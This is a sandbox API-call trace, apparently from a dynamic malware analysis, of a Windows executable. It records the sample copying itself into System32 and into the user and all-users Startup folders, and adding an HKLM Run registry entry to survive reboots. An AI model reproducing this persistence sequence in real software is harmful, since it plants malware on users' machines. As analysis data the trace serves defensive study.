[0167.870] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0167.871] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0167.871] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 0 [0167.871] CloseHandle (hObject=0xe0) returned 1 [0167.871] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5610 | out: hHeap=0x570000) returned 1 [0167.871] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5658 | out: hHeap=0x570000) returned 1 [0167.871] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a56a0 | out: hHeap=0x570000) returned 1 [0167.871] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a56c0 | out: hHeap=0x570000) returned 1 [0167.871] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5708 | out: hHeap=0x570000) returned 1 [0167.871] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4ed8 | out: hHeap=0x570000) returned 1 [0167.871] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x584c90 | out: hHeap=0x570000) returned 1 [0167.871] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a55a8 | out: hHeap=0x570000) returned 1 [0167.871] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5846f0 | out: hHeap=0x570000) returned 1 [0167.871] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x584718 | out: hHeap=0x570000) returned 1 [0167.871] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a55f0 | out: hHeap=0x570000) returned 1 [0167.871] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x584740 | out: hHeap=0x570000) returned 1 [0167.871] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfffe) returned 0x5aa878 [0167.873] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfffe) returned 0x5ba880 [0167.873] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5a4ed8 [0167.874] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a4ed8, Size=0x20) returned 0x584740 [0167.874] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x584740, Size=0x40) returned 0x5a7288 [0167.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5a4ed8 [0167.874] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a4ed8, Size=0x20) returned 0x584740 [0167.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5a4ed8 [0167.874] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a4ed8, Size=0x20) returned 0x584718 [0167.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5a4ed8 [0167.874] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a4ed8, Size=0x20) returned 0x5846f0 [0167.874] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5846f0, Size=0x40) returned 0x5a55f0 [0167.874] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5ba880, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 0x96 [0167.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfffe) returned 0x5ca888 [0167.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfffe) returned 0x5da890 [0167.875] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5a4ed8 [0167.875] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a4ed8, Size=0x20) returned 0x5846f0 [0167.875] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5846f0, Size=0x40) returned 0x5a5638 [0167.875] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a5638, Size=0x80) returned 0x5a5638 [0167.875] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a5638, Size=0x100) returned 0x5a6fa0 [0167.875] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0167.875] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a6fa0 | out: hHeap=0x570000) returned 1 [0167.875] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe", lpDst=0x5ca888, nSize=0x7fff | out: lpDst="C:\\Windows\\System32\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 0x4f [0167.875] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5da890 | out: hHeap=0x570000) returned 1 [0167.875] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ca888 | out: hHeap=0x570000) returned 1 [0167.875] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100000) returned 0x1d90020 [0167.875] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5a4ed8 [0167.875] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a4ed8, Size=0x20) returned 0x5846f0 [0167.875] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5a4ed8 [0167.875] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a4ed8, Size=0x20) returned 0x5a5cd8 [0167.875] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75080000 [0167.875] GetProcAddress (hModule=0x75080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x750ad650 [0167.875] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x0) returned 1 [0167.875] lstrlenW (lpString="kernel32.dll") returned 12 [0167.876] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5846f0 | out: hHeap=0x570000) returned 1 [0167.876] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0167.876] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5cd8 | out: hHeap=0x570000) returned 1 [0167.876] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0167.876] CreateFileW (lpFileName="C:\\Windows\\System32\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe" (normalized: "c:\\windows\\system32\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0167.877] ReadFile (in: hFile=0xe0, lpBuffer=0x1d90020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x1d90020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0167.899] WriteFile (in: hFile=0xe4, lpBuffer=0x1d90020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x1d90020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0167.902] ReadFile (in: hFile=0xe0, lpBuffer=0x1d90020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x1d90020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0167.902] CloseHandle (hObject=0xe4) returned 1 [0167.902] CloseHandle (hObject=0xe0) returned 1 [0167.902] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5a4ed8 [0167.902] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a4ed8, Size=0x20) returned 0x5a5cd8 [0167.902] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5a4ed8 [0167.902] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a4ed8, Size=0x20) returned 0x5a5c88 [0167.903] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75080000 [0167.903] GetProcAddress (hModule=0x75080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x750ad650 [0167.903] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0167.903] lstrlenW (lpString="kernel32.dll") returned 12 [0167.903] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5c88 | out: hHeap=0x570000) returned 1 [0167.903] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0167.903] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5cd8 | out: hHeap=0x570000) returned 1 [0167.903] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x1d90020 | out: hHeap=0x570000) returned 1 [0167.910] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5a4ed8 [0167.910] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a4ed8, Size=0x20) returned 0x5a5cd8 [0167.910] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a5cd8, Size=0x40) returned 0x5a8600 [0167.910] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a8600, Size=0x80) returned 0x5a5638 [0167.910] lstrlenW (lpString="C:\\Windows\\System32\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 78 [0167.910] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0167.910] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x5c) returned 0x5a6fa0 [0167.910] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18fd6c | out: phkResult=0x18fd6c*=0xe0) returned 0x0 [0167.910] RegSetValueExW (in: hKey=0xe0, lpValueName="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe", cbData=0x9c | out: lpData="C:\\Windows\\System32\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 0x0 [0167.912] RegCloseKey (hKey=0xe0) returned 0x0 [0167.912] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a6fa0 | out: hHeap=0x570000) returned 1 [0167.912] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0167.912] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5638 | out: hHeap=0x570000) returned 1 [0167.912] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfffe) returned 0x5ca888 [0167.912] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfffe) returned 0x5da890 [0167.912] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5a4ed8 [0167.912] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a4ed8, Size=0x20) returned 0x5a5cd8 [0167.912] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a5cd8, Size=0x40) returned 0x5a8600 [0167.912] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a8600, Size=0x80) returned 0x5ea8b0 [0167.912] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ea8b0, Size=0x100) returned 0x5a6fa0 [0167.912] lstrlenW (lpString="") returned 0 [0167.912] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0167.912] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8c) returned 0x5a5638 [0167.912] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe0) returned 0x0 [0167.912] RegQueryValueExW (in: hKey=0xe0, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x5da890, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x0, lpData=0x5da890*=0x53, lpcbData=0x18fd50*=0x7fff) returned 0x2 [0167.912] RegCloseKey (hKey=0xe0) returned 0x0 [0167.913] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5638 | out: hHeap=0x570000) returned 1 [0167.913] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0167.913] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8c) returned 0x5a5638 [0167.913] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0167.913] RegQueryValueExW (in: hKey=0xe4, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x5da890, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x98) returned 0x0 [0167.913] RegCloseKey (hKey=0xe4) returned 0x0 [0167.913] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5638 | out: hHeap=0x570000) returned 1 [0167.913] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0167.913] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0167.913] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a6fa0 | out: hHeap=0x570000) returned 1 [0167.913] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe", lpDst=0x5ca888, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 0x97 [0167.913] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5da890 | out: hHeap=0x570000) returned 1 [0167.913] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ca888 | out: hHeap=0x570000) returned 1 [0167.913] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100000) returned 0x1d90020 [0167.913] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5a4f08 [0167.914] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a4f08, Size=0x20) returned 0x5a5cd8 [0167.914] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5a4f08 [0167.914] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a4f08, Size=0x20) returned 0x5a5c88 [0167.914] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75080000 [0167.914] GetProcAddress (hModule=0x75080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x750ad650 [0167.914] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0167.914] lstrlenW (lpString="kernel32.dll") returned 12 [0167.914] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5cd8 | out: hHeap=0x570000) returned 1 [0167.914] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0167.914] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5c88 | out: hHeap=0x570000) returned 1 [0167.914] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0167.914] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.914] CloseHandle (hObject=0xe4) returned 1 [0167.914] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5a4f08 [0167.914] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a4f08, Size=0x20) returned 0x5a5c88 [0167.914] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5a4f08 [0167.914] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a4f08, Size=0x20) returned 0x5a5cd8 [0167.915] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75080000 [0167.915] GetProcAddress (hModule=0x75080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x750ad650 [0167.915] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0167.915] lstrlenW (lpString="kernel32.dll") returned 12 [0167.915] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5cd8 | out: hHeap=0x570000) returned 1 [0167.915] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0167.915] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5c88 | out: hHeap=0x570000) returned 1 [0167.915] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x1d90020 | out: hHeap=0x570000) returned 1 [0167.915] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfffe) returned 0x5ca888 [0167.915] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfffe) returned 0x5da890 [0167.915] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5a4f08 [0167.915] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a4f08, Size=0x20) returned 0x5a5c88 [0167.915] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a5c88, Size=0x40) returned 0x5a8600 [0167.915] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a8600, Size=0x80) returned 0x5ea8b0 [0167.915] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ea8b0, Size=0x100) returned 0x5a6fa0 [0167.915] lstrlenW (lpString="") returned 0 [0167.915] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0167.915] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8c) returned 0x5a5638 [0167.915] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0167.915] RegQueryValueExW (in: hKey=0xe4, lpValueName="Common Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x5da890, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x78) returned 0x0 [0167.915] RegCloseKey (hKey=0xe4) returned 0x0 [0167.915] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5638 | out: hHeap=0x570000) returned 1 [0167.915] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0167.916] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0167.916] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a6fa0 | out: hHeap=0x570000) returned 1 [0167.916] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe", lpDst=0x5ca888, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 0x78 [0167.916] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5da890 | out: hHeap=0x570000) returned 1 [0167.916] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ca888 | out: hHeap=0x570000) returned 1 [0167.916] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100000) returned 0x1d90020 [0167.916] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5a4f08 [0167.916] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a4f08, Size=0x20) returned 0x5a5c88 [0167.916] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5a4f08 [0167.916] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a4f08, Size=0x20) returned 0x5a5cd8 [0167.916] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75080000 [0167.916] GetProcAddress (hModule=0x75080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x750ad650 [0167.916] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0167.916] lstrlenW (lpString="kernel32.dll") returned 12 [0167.916] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5c88 | out: hHeap=0x570000) returned 1 [0167.916] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0167.916] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5cd8 | out: hHeap=0x570000) returned 1 [0167.916] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0167.917] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0167.918] ReadFile (in: hFile=0xe4, lpBuffer=0x1d90020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x1d90020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0167.932] WriteFile (in: hFile=0xe8, lpBuffer=0x1d90020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x1d90020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0167.935] ReadFile (in: hFile=0xe4, lpBuffer=0x1d90020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x1d90020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0167.935] CloseHandle (hObject=0xe8) returned 1 [0167.936] CloseHandle (hObject=0xe4) returned 1 [0167.936] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5a4f08 [0167.936] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a4f08, Size=0x20) returned 0x5a5cd8 [0167.936] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5a4f08 [0167.936] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a4f08, Size=0x20) returned 0x5a5c88 [0167.936] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75080000 [0167.936] GetProcAddress (hModule=0x75080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x750ad650 [0167.936] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0167.936] lstrlenW (lpString="kernel32.dll") returned 12 [0167.936] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5c88 | out: hHeap=0x570000) returned 1 [0167.936] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0167.936] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5cd8 | out: hHeap=0x570000) returned 1 [0167.936] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x1d90020 | out: hHeap=0x570000) returned 1 [0167.941] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5aa878 | out: hHeap=0x570000) returned 1 [0167.941] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ba880 | out: hHeap=0x570000) returned 1 [0167.941] lstrlenW (lpString="%windir%\\System32") returned 17 [0167.941] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a7288 | out: hHeap=0x570000) returned 1 [0167.941] lstrlenW (lpString="%appdata%") returned 9 [0167.941] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x584740 | out: hHeap=0x570000) returned 1 [0167.941] lstrlenW (lpString="%sh(Startup)%") returned 13 [0167.941] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x584718 | out: hHeap=0x570000) returned 1 [0167.941] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0167.941] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a55f0 